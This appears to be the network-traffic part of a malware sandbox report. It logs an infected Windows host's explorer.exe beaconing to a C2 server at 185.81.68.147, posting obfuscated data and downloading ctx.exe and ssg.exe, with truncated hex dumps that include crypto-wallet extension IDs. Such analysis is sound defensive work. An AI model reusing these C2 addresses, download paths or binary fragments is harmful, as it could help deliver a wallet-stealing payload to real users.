Dec 13, 2024 08:22:39.137968063 CET	50207	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:39.145489931 CET	80	50204	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:39.257987022 CET	80	50207	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:39.258083105 CET	50207	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:39.258141994 CET	50207	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:39.378222942 CET	80	50207	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:39.378328085 CET	50207	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:39.498210907 CET	80	50207	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:40.159301043 CET	80	50205	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:40.159408092 CET	50205	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:40.298496962 CET	80	50206	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:40.298608065 CET	50206	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:40.697144032 CET	80	50207	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:40.697249889 CET	80	50207	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:40.697681904 CET	50207	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:40.698638916 CET	50207	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:40.809464931 CET	50208	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:40.818517923 CET	80	50207	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:40.929240942 CET	80	50208	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:40.929378986 CET	50208	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:40.929456949 CET	50208	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:41.049144030 CET	80	50208	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:41.049211025 CET	50208	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:41.168920994 CET	80	50208	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:41.826925039 CET	50205	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:41.827239990 CET	50209	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:41.911437035 CET	50206	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:41.911617994 CET	50210	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:41.947065115 CET	80	50209	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:41.947170973 CET	80	50205	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:41.947338104 CET	50205	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:41.947351933 CET	50209	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:41.967394114 CET	50209	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:42.031464100 CET	80	50210	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:42.031558037 CET	50210	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:42.031728983 CET	80	50206	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:42.031790972 CET	50206	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:42.053854942 CET	50210	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:42.087991953 CET	80	50209	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:42.174217939 CET	80	50210	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:42.541749954 CET	80	50208	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:42.541843891 CET	80	50208	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:42.541891098 CET	50208	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:42.543215990 CET	50208	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:42.653306961 CET	50211	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:42.662933111 CET	80	50208	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:42.773061991 CET	80	50211	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:42.773323059 CET	50211	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:42.773323059 CET	50211	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:42.893110037 CET	80	50211	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:42.893209934 CET	50211	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:43.012924910 CET	80	50211	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:43.300067902 CET	80	50209	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:43.300199032 CET	50209	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:43.381208897 CET	80	50210	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:43.381314039 CET	50210	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:44.205303907 CET	80	50211	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:44.205455065 CET	80	50211	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:44.205532074 CET	50211	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:44.597079992 CET	50211	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:44.716901064 CET	80	50211	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:44.720405102 CET	50212	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:44.840209007 CET	80	50212	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:44.840286016 CET	50212	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:44.840430021 CET	50212	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:44.960037947 CET	80	50212	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:44.960093021 CET	50212	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:45.079926014 CET	80	50212	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:45.136149883 CET	50210	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:45.136729002 CET	50213	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:45.136825085 CET	50209	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:45.137175083 CET	50214	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:45.256282091 CET	80	50210	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:45.256360054 CET	50210	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:45.256402016 CET	80	50213	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:45.256798029 CET	80	50209	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:45.256844997 CET	50209	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:45.256861925 CET	80	50214	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:45.256910086 CET	50214	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:45.257021904 CET	50213	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:45.263246059 CET	50213	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:45.265018940 CET	50214	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:45.383069038 CET	80	50213	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:45.384660006 CET	80	50214	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:46.463591099 CET	80	50212	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:46.463793993 CET	80	50212	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:46.463872910 CET	50212	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:46.465112925 CET	50212	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:46.575172901 CET	50215	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:46.584845066 CET	80	50212	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:46.600662947 CET	80	50214	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:46.600749016 CET	50214	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:46.600758076 CET	80	50213	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:46.600809097 CET	50213	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:46.695174932 CET	80	50215	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:46.695245981 CET	50215	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:46.695322990 CET	50215	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:46.815141916 CET	80	50215	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:46.815222979 CET	50215	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:46.935075045 CET	80	50215	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:48.136921883 CET	80	50215	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:48.137109995 CET	80	50215	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:48.137176991 CET	50215	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:22:51.600579023 CET	80	50214	185.81.68.148	192.168.2.11
Dec 13, 2024 08:22:51.600728035 CET	50214	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:22:51.610503912 CET	80	50213	185.81.68.147	192.168.2.11
Dec 13, 2024 08:22:51.610577106 CET	50213	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:23:11.921957016 CET	50215	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:23:12.041951895 CET	80	50215	185.81.68.147	192.168.2.11

HTTP Request Dependency Graph

185.81.68.147

185.81.68.148

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49713	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:18:43.347393990 CET	259	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 13, 2024 08:18:44.675121069 CET	257	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:18:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 34 63 36 62 64 38 65 65 31 31 63 63 30 30 33 63 36 66 65 64 39 35 31 36 65 38 36 33 62 39 62 65 62 34 65 32 33 66 32 34 Data Ascii: 4c6bd8ee11cc003c6fed9516e863b9beb4e23f24

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49714	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:18:44.817557096 CET	279	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 35
Dec 13, 2024 08:18:44.937910080 CET	35	OUT	Data Raw: 56 0c 42 1e 56 16 56 19 00 01 1f 53 4c 00 4f 53 4a 32 2a 30 6d 7c 1c 66 26 44 42 5c 16 4d 0b 19 53 48 5d Data Ascii: VBVVSLOSJ2*0m\|f&DB\MSH]
Dec 13, 2024 08:18:46.251863956 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:18:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49720	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:18:46.373603106 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:18:46.493392944 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:18:47.866478920 CET	349	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:18:47 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 131 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 04 1f 5e 16 10 48 5f 4a 1e 00 5b 56 1e 08 02 4d 00 5e 4b 55 0d 02 1e 55 11 40 18 56 1a 5c 6f 6f 52 48 0d 46 47 16 08 1b 1b 52 0e 57 4a 00 54 4b 07 09 4d 52 04 07 1c 10 45 01 4b 01 41 50 3c 3c 54 44 5e 47 16 49 58 4a 4d 05 5d 07 1d 5e 03 1a 02 5b 18 53 50 0f 4a 10 41 55 02 17 55 1e 56 1b 53 6b 6f 54 45 5d 45 42 15 02 19 1c 53 01 57 4b 5a 05 4b 04 0b 48 03 00 03 4c 51 04 1c 16 00 1d 54 3c 69 Data Ascii: ^H_J[VM^KUU@V\ooRHFGRWJTKMREKAP<<TD^GIXJM]^[SPJAUUVSkoTE]EBSWKZKHLQT<i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49726	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:18:48.001410007 CET	232	OUT	GET /ctx.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 13, 2024 08:18:49.337707996 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:18:48 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 10 Dec 2024 15:45:48 GMT ETag: "5a452c-628ec5ffff268" Accept-Ranges: bytes Content-Length: 5915948 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 2c 62 58 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 58 02 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 04 00 00 2a 4f [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$XhcXhcXhc`_hcfhcgRhc[hc`QhcgIhcfphcbShcXhbhcKgAhcKaYhcRichXhcPEd,bXg"(X@*OZ`lx`"h@P.text `.rdataB&(@@.datas@.pdata"`$@@.rsrc@@.reloch@B
Dec 13, 2024 08:18:49.337728977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H(/H'HHHHHH($HqCH\$Hl$ LD$VWATAUAWH H3HDIHA.LHuHVHM
Dec 13, 2024 08:18:49.337750912 CET	448	IN	Data Raw: 48 83 c4 20 41 5f 41 5e 5e c3 8b 56 04 45 33 c0 48 03 93 00 10 00 00 49 8b cf e8 53 e5 00 00 85 c0 79 1c 4c 8d 46 12 48 8d 15 00 a4 02 00 48 8d 0d 35 a4 02 00 e8 a4 12 00 00 e9 bb 00 00 00 8b 4e 0c e8 a7 2c 01 00 4c 8b f0 48 85 c0 75 20 44 8b 4e Data Ascii: H A_A^^VE3HISyLFHH5N,LHu DNLFH H-t~uME3HIc^Hl$@IH\|$HLd$PHt8A fDI;HMAIGHHnHrBHH+u3H\|$HHl$@Ld$PtI
Dec 13, 2024 08:18:49.337763071 CET	1236	IN	Data Raw: 4c 89 7c 24 20 48 8b cb e8 21 29 00 00 4c 8b f8 48 85 c0 75 1a 48 8d 57 12 48 8d 0d 16 a2 02 00 e8 89 0f 00 00 bb ff ff ff ff e9 54 01 00 00 8b 57 04 45 33 c0 48 03 93 00 10 00 00 49 8b cf e8 6e e3 00 00 85 c0 79 21 4c 8d 47 12 48 8d 15 1b a2 02 Data Ascii: L\|$ H!)LHuHWHTWE3HIny!LGHHPuE3MHI.Ll$03A Lt$(A*LHu!LGHH^Ht$XwHHl$P@ffI;H
Dec 13, 2024 08:18:49.337775946 CET	1236	IN	Data Raw: e9 93 00 00 00 48 8b 93 08 10 00 00 48 3b 93 10 10 00 00 0f 83 7f 00 00 00 44 8b 05 e2 c4 03 00 66 0f 6f 0d 52 9f 02 00 66 90 33 c0 41 83 f8 02 7c 18 f3 0f 6f 02 66 0f 38 00 c1 f3 0f 7f 02 eb 1a 66 0f 1f 84 00 00 00 00 00 8b 0c 82 0f c9 89 0c 82 Data Ascii: HH;DfoRf3A\|of8fHH\|JAtdtntxt2HH;rHH$HH$H3L$I[ Ik(I_LD$LL$ SUVWH8IHl$
Dec 13, 2024 08:18:49.337788105 CET	1236	IN	Data Raw: 0f b7 44 24 6c 48 8b cf 0f b7 54 24 68 66 44 2b 44 24 64 66 2b 54 24 60 e8 e9 00 00 00 48 8b 8c 24 70 02 00 00 48 33 cc e8 59 98 00 00 4c 8d 9c 24 80 02 00 00 49 8b 5b 18 49 8b 6b 20 49 8b 73 28 49 8b e3 5f c3 48 89 5c 24 08 57 48 83 ec 20 49 8b Data Ascii: D$lHT$hfD+D$df+T$`H$pH3YL$I[Ik Is(I_H\$WH IHtftZt(uA@f;wAH\$0H _LIY\HH\$0H _:LIH(E33H*H\$03
Dec 13, 2024 08:18:49.337800980 CET	1236	IN	Data Raw: 48 85 db 74 10 45 33 c0 33 d2 48 8b cb e8 e0 61 00 00 48 8b e8 48 85 ed 4c 8d 05 c3 96 02 00 49 8b d6 48 8b cf 4c 0f 45 c5 e8 14 fe ff ff 48 8b cf 8b d8 e8 66 1c 01 00 49 8b ce e8 5e 1c 01 00 48 8b cd e8 56 1c 01 00 48 8b 6c 24 38 8b c3 48 8b 5c Data Ascii: HtE33HaHHLIHLEHfI^HVHl$8H\$0Ht$@H\|$HH A^LD$LL$ SUVWH8IHl$xHHHl$(LLHD$ HHHH8_^][LD$LL$ SUVWH8IHl$xHH
Dec 13, 2024 08:18:49.338030100 CET	1236	IN	Data Raw: 00 04 00 00 48 8b 08 48 83 c9 01 e8 56 15 01 00 41 b9 30 00 00 00 4c 8d 05 a1 92 02 00 48 8d 54 24 30 33 c9 ff 15 0c 8a 02 00 48 8b 8c 24 30 08 00 00 48 33 cc e8 a4 8e 00 00 48 81 c4 48 08 00 00 5f 5b c3 cc cc cc cc cc cc cc cc cc cc 48 89 54 24 Data Ascii: HHVA0LHT$03H$0H3HH_[HT$LD$LL$ SVWPtH+H:H3H$@HH$L$xHT$@Ht$(A3HHHt$ Ht$0AH5D$(DHt$ 35H
Dec 13, 2024 08:18:49.338061094 CET	1236	IN	Data Raw: 85 02 00 8b 53 0c 48 8b cd 48 8b 05 b2 0f 04 00 ff 15 e4 85 02 00 48 8b cd 48 8b f8 e8 d5 12 01 00 48 85 ff 0f 84 9d 01 00 00 48 8b 05 c1 0f 04 00 48 8d 15 02 90 02 00 4c 8b c7 49 8b cf ff 15 b6 85 02 00 48 8b 05 4f 0f 04 00 4d 8b c4 49 8b d4 48 Data Ascii: SHHHHHHHLIHOMIHHtbHHHH;3H$H$H$L$`L$hH$PH3VHpA_A]^HLD$8HT$0HL$@HLD$8HT$0HL$@
Dec 13, 2024 08:18:49.338073969 CET	1236	IN	Data Raw: 8b ac 24 e8 30 00 00 48 8b bc 24 28 31 00 00 48 8b ac 24 18 31 00 00 4c 39 74 24 30 74 24 48 8d 44 24 30 0f 1f 00 48 8b c8 e8 38 e5 ff ff 48 8d 44 24 30 4d 8d 76 01 4a 83 3c f0 00 4a 8d 04 f0 75 e4 8b c3 48 8b 8c 24 d0 30 00 00 48 33 cc e8 e2 84 Data Ascii: $0H$(1H$1L9t$0t$HD$0H8HD$0MvJ<JuH$0H3H0A^[@SH H$H(0HtMH(0H [@S0@H+HJH3H$ @HHT$ 3A\|uHH_
Dec 13, 2024 08:18:49.458576918 CET	1236	IN	Data Raw: 78 e8 ec 4b 00 00 48 89 87 38 30 00 00 48 85 c0 75 0c 48 8d 0d 19 87 02 00 e9 d7 fe ff ff 48 8b cf e8 0c 44 00 00 85 c0 79 4f 48 8d 0d 49 87 02 00 e9 bf fe ff ff 48 8d 57 10 48 8d 4c 24 60 e8 3e 06 00 00 4c 8b 87 48 30 00 00 48 8d 8f 22 20 00 00 Data Ascii: xKH80HuHHDyOHIHWHL$`>LH0H" MtHT$`qLL$`LiH" AHT$`NHuHTHL$`x t! ,H HHH2uY8 tHH,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49748	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:18:58.897109032 CET	232	OUT	GET /ssg.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 13, 2024 08:19:00.225151062 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:18:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 10:50:51 GMT ETag: "4b200-629107cd804d2" Accept-Ranges: bytes Content-Length: 307712 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 dc 48 28 d2 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e4 02 00 00 cc 01 00 00 00 00 00 8e 02 03 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 02 03 00 4f 00 00 00 00 20 03 00 c6 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELH(0 @ @<O H.text `.rsrc @@.reloc@BpH (wautofill5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW
Dec 13, 2024 08:19:00.225176096 CET	1236	IN	Data Raw: 39 00 6c 00 61 00 47 00 78 00 6c 00 5a 00 6d 00 35 00 72 00 62 00 32 00 52 00 69 00 5a 00 57 00 5a 00 6e 00 63 00 47 00 64 00 72 00 62 00 6d 00 35 00 38 00 54 00 57 00 56 00 30 00 59 00 57 00 31 00 68 00 63 00 32 00 73 00 4b 00 59 00 57 00 5a 00 Data Ascii: 9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Np
Dec 13, 2024 08:19:00.225188971 CET	448	IN	Data Raw: 62 00 32 00 31 00 69 00 59 00 58 00 51 00 4b 00 5a 00 6d 00 68 00 70 00 62 00 47 00 46 00 6f 00 5a 00 57 00 6c 00 74 00 5a 00 32 00 78 00 70 00 5a 00 32 00 35 00 6b 00 5a 00 47 00 74 00 71 00 5a 00 32 00 39 00 6d 00 61 00 32 00 4e 00 69 00 5a 00 Data Ascii: b21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm
Dec 13, 2024 08:19:00.225316048 CET	1236	IN	Data Raw: 66 00 46 00 4e 00 68 00 64 00 48 00 56 00 79 00 62 00 6c 00 64 00 68 00 62 00 47 00 78 00 6c 00 64 00 41 00 70 00 6d 00 62 00 6d 00 70 00 6f 00 62 00 57 00 74 00 6f 00 61 00 47 00 31 00 72 00 59 00 6d 00 70 00 72 00 61 00 32 00 46 00 69 00 62 00 Data Ascii: fFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcH
Dec 13, 2024 08:19:00.225331068 CET	1236	IN	Data Raw: 48 68 58 70 45 fd 19 8f de 6c 87 94 7b f8 b7 52 73 d3 23 ab 4b 02 e2 72 1f 8f 57 e3 55 ab 2a 66 eb 28 07 b2 b5 c2 03 2f c5 7b 9a 86 37 08 a5 d3 28 87 f2 30 bf a5 b2 23 03 6a ba 02 16 82 5c ed cf 1c 2b 8a 79 b4 92 a7 07 f2 f0 f3 69 e2 a1 4e da f4 Data Ascii: HhXpEl{Rs#KrWU*f(/{7(0#j\+yiNe4b.S4U2u9`@q^nQ!>=>FMT]qoP`$@CwgB[8y\|GB\|+H2pZrNl8V=-9'6d
Dec 13, 2024 08:19:00.225433111 CET	1236	IN	Data Raw: 6f 00 63 00 65 00 73 00 73 00 49 00 6e 00 66 00 6f 00 6f 00 63 00 65 00 73 00 73 00 20 00 57 00 68 00 65 00 72 00 65 00 20 00 53 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 49 00 6e 00 66 00 6f 00 65 00 73 00 73 00 69 00 6f 00 6e 00 49 00 64 00 Data Ascii: ocessInfoocess Where SProcessInfoessionId='cc\|\|ww{{kkooTP`00gg}V++bMvvE@}}YYGGAg_E#Srr[u=jL&&Zl66A~?
Dec 13, 2024 08:19:00.225445032 CET	1236	IN	Data Raw: 3b ab 6b cb 1f 9d 45 f1 ac fa 58 ab 4b e3 03 93 20 30 fa 55 ad 76 6d f6 88 cc 76 91 f5 02 4c 25 4f e5 d7 fc c5 2a cb d7 26 35 44 80 b5 62 a3 8f de b1 5a 49 25 ba 1b 67 45 ea 0e 98 5d fe c0 e1 c3 2f 75 02 81 4c f0 12 8d 46 97 a3 6b d3 f9 c6 03 8f Data Ascii: ;kEXK 0UvmvL%O&5DbZI%gE]/uLFk_mzRY-Xt!Ii)DujyxX>k'qO f}:cJ1Q3`bSEdwk+pHhXElR{s#rKWfU(/{70(#j\
